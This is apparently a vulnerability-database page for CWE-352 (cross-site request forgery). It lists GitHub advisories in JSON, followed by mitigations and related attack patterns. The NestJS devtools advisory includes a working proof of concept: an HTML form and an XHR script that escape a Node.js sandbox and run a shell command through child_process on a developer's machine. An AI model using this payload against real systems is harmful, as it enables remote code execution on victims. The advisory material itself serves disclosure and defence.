CWE-352
AllowedCross-Site Request Forgery (CSRF)
Abstraction: Compound · Status: Stable
The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.
14186 vulnerabilities reference this CWE, most recent first.
GHSA-853M-5X9W-FRWP
Vulnerability from github – Published: 2022-05-17 05:20 – Updated: 2022-05-17 05:20Cross-site request forgery (CSRF) vulnerability in the stickynote module before 7.x-1.1 for Drupal allows remote attackers to hijack the authentication of users for requests that delete stickynotes via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2012-1636"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-10-01T22:55:00Z",
"severity": "MODERATE"
},
"details": "Cross-site request forgery (CSRF) vulnerability in the stickynote module before 7.x-1.1 for Drupal allows remote attackers to hijack the authentication of users for requests that delete stickynotes via unspecified vectors.",
"id": "GHSA-853m-5x9w-frwp",
"modified": "2022-05-17T05:20:47Z",
"published": "2022-05-17T05:20:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-1636"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1408556"
},
{
"type": "WEB",
"url": "http://drupal.org/node/1409422"
},
{
"type": "WEB",
"url": "http://drupalcode.org/project/stickynote.git/commit/9a7b535"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/47650"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/04/07/1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-855C-V3WF-JV62
Vulnerability from github – Published: 2024-04-22 09:30 – Updated: 2026-04-28 21:34Cross-Site Request Forgery (CSRF) vulnerability in ValvePress Automatic.This issue affects Automatic: from n/a before 3.93.0.
{
"affected": [],
"aliases": [
"CVE-2024-32693"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-22T08:15:38Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in ValvePress Automatic.This issue affects Automatic: from n/a before 3.93.0.",
"id": "GHSA-855c-v3wf-jv62",
"modified": "2026-04-28T21:34:51Z",
"published": "2024-04-22T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32693"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wp-automatic/wordpress-automatic-plugin-3-93-0-multiple-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-856F-5CRH-34HH
Vulnerability from github – Published: 2022-12-05 12:30 – Updated: 2022-12-06 15:30Cross-Site Request Forgery (CSRF) vulnerability in Advanced Booking Calendar plugin <= 1.7.1 on WordPress.
{
"affected": [],
"aliases": [
"CVE-2022-45824"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-05T12:15:00Z",
"severity": "MODERATE"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in Advanced Booking Calendar plugin \u003c= 1.7.1 on WordPress.",
"id": "GHSA-856f-5crh-34hh",
"modified": "2022-12-06T15:30:30Z",
"published": "2022-12-05T12:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45824"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/advanced-booking-calendar/wordpress-advanced-booking-calendar-plugin-1-7-1-multiple-cross-site-scripting-csrf-vulnerabilities?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-856W-4H2Q-C3VM
Vulnerability from github – Published: 2025-04-09 18:30 – Updated: 2026-04-01 18:34Cross-Site Request Forgery (CSRF) vulnerability in dimafreund RentSyst allows Stored XSS. This issue affects RentSyst: from n/a through 2.0.72.
{
"affected": [],
"aliases": [
"CVE-2025-32501"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-09T17:15:43Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in dimafreund RentSyst allows Stored XSS. This issue affects RentSyst: from n/a through 2.0.72.",
"id": "GHSA-856w-4h2q-c3vm",
"modified": "2026-04-01T18:34:36Z",
"published": "2025-04-09T18:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32501"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/rentsyst/vulnerability/wordpress-rentsyst-plugin-2-0-72-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8578-MMF4-F327
Vulnerability from github – Published: 2022-05-24 16:52 – Updated: 2024-02-12 11:42A cross-site request forgery vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can result in unintended deletion of the store design schedule.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-7873"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-01T22:55:54Z",
"nvd_published_at": "2019-08-02T22:15:00Z",
"severity": "MODERATE"
},
"details": "A cross-site request forgery vulnerability exists in Magento 2.1 prior to 2.1.18, Magento 2.2 prior to 2.2.9, Magento 2.3 prior to 2.3.2. This can result in unintended deletion of the store design schedule.",
"id": "GHSA-8578-mmf4-f327",
"modified": "2024-02-12T11:42:09Z",
"published": "2022-05-24T16:52:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7873"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/magento/product-community-edition/CVE-2019-7873.yaml"
},
{
"type": "WEB",
"url": "https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-33"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20220121011306/https://magento.com/security/patches/magento-2.3.2-2.2.9-and-2.1.18-security-update-33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento 2 Community Edition Cross-site Scripting Vulnerability"
}
GHSA-857M-XJ2V-VHP3
Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34CSRF in runner administration page in all versions of GitLab CE/EE allows an attacker who's able to target GitLab instance administrators to pause/resume runners. Affected versions are >=13.5.0, <13.5.2,>=13.4.0, <13.4.5,<13.3.9.
{
"affected": [],
"aliases": [
"CVE-2020-13350"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-17T18:15:00Z",
"severity": "MODERATE"
},
"details": "CSRF in runner administration page in all versions of GitLab CE/EE allows an attacker who\u0027s able to target GitLab instance administrators to pause/resume runners. Affected versions are \u003e=13.5.0, \u003c13.5.2,\u003e=13.4.0, \u003c13.4.5,\u003c13.3.9.",
"id": "GHSA-857m-xj2v-vhp3",
"modified": "2022-05-24T17:34:23Z",
"published": "2022-05-24T17:34:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13350"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/415238"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-13350.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/24416"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-858G-F6G7-9PF6
Vulnerability from github – Published: 2022-05-17 00:51 – Updated: 2022-05-17 00:51Multiple cross-site request forgery (CSRF) vulnerabilities in EMC RSA Archer GRC 5.5 SP1 before P3 allow remote attackers to hijack the authentication of arbitrary users.
{
"affected": [],
"aliases": [
"CVE-2015-0542"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-20T10:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple cross-site request forgery (CSRF) vulnerabilities in EMC RSA Archer GRC 5.5 SP1 before P3 allow remote attackers to hijack the authentication of arbitrary users.",
"id": "GHSA-858g-f6g7-9pf6",
"modified": "2022-05-17T00:51:51Z",
"published": "2022-05-17T00:51:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-0542"
},
{
"type": "WEB",
"url": "http://seclists.org/bugtraq/2015/Aug/85"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/76404"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033300"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-858X-G2GH-MQ6P
Vulnerability from github – Published: 2024-12-02 15:31 – Updated: 2026-04-01 18:32Cross-Site Request Forgery (CSRF) vulnerability in LinkLaunder.com LinkLaunder SEO allows Stored XSS.This issue affects LinkLaunder SEO: from n/a through 0.92.1.
{
"affected": [],
"aliases": [
"CVE-2024-53727"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-02T14:15:16Z",
"severity": "HIGH"
},
"details": "Cross-Site Request Forgery (CSRF) vulnerability in LinkLaunder.com LinkLaunder SEO allows Stored XSS.This issue affects LinkLaunder SEO: from n/a through 0.92.1.",
"id": "GHSA-858x-g2gh-mq6p",
"modified": "2026-04-01T18:32:39Z",
"published": "2024-12-02T15:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53727"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/linklaunder-seo-plugin/vulnerability/wordpress-linklaunder-seo-plugin-0-92-1-csrf-to-stored-cross-site-scripting-xss-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-85CG-CMQ5-QJM7
Vulnerability from github – Published: 2025-08-01 18:43 – Updated: 2025-08-04 15:28Summary
A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
A full blog post about how this vulnerability was uncovered can be found on Socket's blog.
Details
The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
Key issues:
1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.
By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.
Relevant code from the package:
// Vulnerable request handler
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => { body += data; });
req.on('end', async () => {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
await this.sandboxedCodeExecutor.execute(json.code, res);
});
}
}
// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.
PoC
Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:
npm install @nestjs/devtools-integration
npm run start:dev
Use the following HTML form on any malicious website:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()","bogus":"" value=""}" />
<input type="submit" value="Exploit" />
</form>
When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.
Alternatively, the same payload can be sent via a simple XHR request with text/plain content type:
<button onclick="sendPopCalculatorXHR()">Send pop calculator XHR Request</button>
<script>
function sendPopCalculatorXHR() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8000/inspector/graph/interact");
xhr.withCredentials = false;
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"code":"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'open /System/Applications/Calculator.app\'); } })()"}');
}
</script>
Full POC
Minimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
Steps to reproduce:
- Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
- Run NPM install
- Run
npm run start:dev - Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/
- Try out any of the POC payloads.
Source for the nestjs-devtools-integration-rce-poc: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc
Impact
This vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with @nestjs/devtools-integration enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.
- Severity: Critical
- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)
- Privileges Required: None
- User Interaction: Minimal (no clicks required)
Fix
The maintainers remediated this issue by:
- Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).
- Adding origin and content-type validation to incoming requests.
- Introducing authentication for the devtools connection.
Users should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.
Credit
This vulnerability was uncovered by @JLLeitschuh on behalf of Socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@nestjs/devtools-integration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54782"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-01T18:43:13Z",
"nvd_published_at": "2025-08-02T00:15:25Z",
"severity": "CRITICAL"
},
"details": "## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs/devtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket\u0027s blog](https://socket.dev/blog/nestjs-rce-vuln).\n\n## Details\nThe `@nestjs/devtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `/inspector/graph/interact`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https://nodejs.org/api/vm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS/Origin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https://devtools.nestjs.com`) but does not validate the request\u0027s `Origin` or `Content-Type`. Attackers can craft POST requests with `text/plain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer\u0027s machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n// Vulnerable request handler\nhandleGraphInteraction(req, res) {\n if (req.method === \u0027POST\u0027) {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, data =\u003e { body += data; });\n req.on(\u0027end\u0027, async () =\u003e {\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/plain\u0027 });\n const json = JSON.parse(body);\n await this.sandboxedCodeExecutor.execute(json.code, res);\n });\n }\n}\n\n// Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n const sandbox = {};\n const resultKey = \u0027SAFE_EVAL_\u0027 + Math.floor(Math.random() * 1000000);\n sandbox[resultKey] = {};\n const ctx = `\n (function() {\n Function = undefined;\n const keys = Object.getOwnPropertyNames(this).concat([\u0027constructor\u0027]);\n keys.forEach((key) =\u003e {\n const item = this[key];\n if (!item || typeof item.constructor !== \u0027function\u0027) return;\n this[key].constructor = undefined;\n });\n })();\n `;\n code = ctx + resultKey + \u0027=\u0027 + code;\n if (context) {\n Object.keys(context).forEach(key =\u003e { sandbox[key] = context[key]; });\n }\n vm.runInNewContext(code, sandbox, opts);\n return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer\u0027s machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs/devtools-integration in development mode:\n\n```\nnpm install @nestjs/devtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n\u003cform action=\"http://localhost:8000/inspector/graph/interact\" method=\"POST\" enctype=\"text/plain\"\u003e\n \u003cinput name=\"{\u0026quot;code\u0026quot;:\u0026quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027open /System/Applications/Calculator.app\u0027)}})()\u0026quot;,\u0026quot;bogus\u0026quot;:\u0026quot;\" value=\"\u0026quot;}\" /\u003e\n \u003cinput type=\"submit\" value=\"Exploit\" /\u003e\n\u003c/form\u003e\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text/plain content type:\n\n```html\n\u003cbutton onclick=\"sendPopCalculatorXHR()\"\u003eSend pop calculator XHR Request\u003c/button\u003e\n\u003cscript\u003e\n function sendPopCalculatorXHR() {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"http://localhost:8000/inspector/graph/interact\");\n xhr.withCredentials = false;\n xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n xhr.send(\u0027{\"code\":\"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\\\u0027return process\\\u0027)().mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027open /System/Applications/Calculator.app\\\u0027); } })()\"}\u0027);\n }\n\u003c/script\u003e\n```\n\n### Full POC\n\nMinimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs/devtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer\u2019s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https://socket.dev/).",
"id": "GHSA-85cg-cmq5-qjm7",
"modified": "2025-08-04T15:28:48Z",
"published": "2025-08-01T18:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54782"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration"
},
{
"type": "PACKAGE",
"url": "https://github.com/nestjs/nest"
},
{
"type": "WEB",
"url": "https://jlleitschuh.org/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/vm.html"
},
{
"type": "WEB",
"url": "https://socket.dev/blog/nestjs-rce-vuln"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers"
}
GHSA-85F4-3CVC-FMRQ
Vulnerability from github – Published: 2024-05-22 15:31 – Updated: 2024-07-03 18:43A Cross-Site Request Forgery (CSRF) vulnerability was discovered in OpenKM Community Edition on or before version 6.3.12. The vulnerability exists in /admin/DatabaseQuery, which allows an attacker to manipulate a victim with administrative privileges to execute arbitrary SQL commands.
{
"affected": [],
"aliases": [
"CVE-2024-35475"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-22T14:15:08Z",
"severity": "MODERATE"
},
"details": "A Cross-Site Request Forgery (CSRF) vulnerability was discovered in OpenKM Community Edition on or before version 6.3.12. The vulnerability exists in /admin/DatabaseQuery, which allows an attacker to manipulate a victim with administrative privileges to execute arbitrary SQL commands.",
"id": "GHSA-85f4-3cvc-fmrq",
"modified": "2024-07-03T18:43:08Z",
"published": "2024-05-22T15:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35475"
},
{
"type": "WEB",
"url": "https://github.com/carsonchan12345/CVE-2024-35475"
},
{
"type": "WEB",
"url": "https://github.com/carsonchan12345/OpenKM-CSRF-PoC"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
- Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
Mitigation
Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
Mitigation
Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
Mitigation
- Use the "double-submitted cookie" method as described by Felten and Zeller:
- When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
- Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
- This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Do not use the GET method for any request that triggers a state change.
Mitigation
Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.